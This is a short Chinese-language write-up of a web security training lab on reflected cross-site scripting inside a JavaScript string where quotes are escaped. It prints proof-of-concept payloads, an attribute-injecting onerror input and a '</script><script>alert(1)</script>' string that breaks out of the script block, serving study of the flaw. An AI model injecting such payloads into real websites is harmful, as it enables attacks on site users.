# Cross-site scripting Lab18 本題是在 JavaScript 字串中進行 Reflected XSS 攻擊,且單引號 `'` 和反斜線 `\` 都會被 escape(也就是被加上 \),讓你沒辦法直接用 `'` 結束原本的字串。 一樣先進入網站。 ![image](https://hackmd.io/_uploads/S1IrkW7rgx.png) 搜尋並查看原始碼。 ![image](https://hackmd.io/_uploads/HyYwJWQSxg.png) - 從某處取得使用者輸入(例如 URL 參數 ?searchTerms=)並指派給 searchTerms。 - 用 `document.write()` 把它包在 `<img>` 標籤裡,放進網頁中。 使用者的輸入會變成: ``` <img src="/resources/images/tracker.gif?searchTerms=使用者輸入"> ``` 所以如果能讓 searchTerms 的值是: ``` " onerror=alert(1) x=" ``` 這樣就變成: ``` <img src="/resources/images/tracker.gif?searchTerms=" onerror=alert(1) x="> ``` onerror 被成功插入並執行! 不過這題會禁止我們用單引號來截斷,所以我們直接結束他 `<script>` 就好¯\\\_(ツ)_/¯。 ``` </script><script>alert(1)</script> ``` ![image](https://hackmd.io/_uploads/SyqMZ-mHee.png) ![image](https://hackmd.io/_uploads/H1S7ZbQrxl.png) ---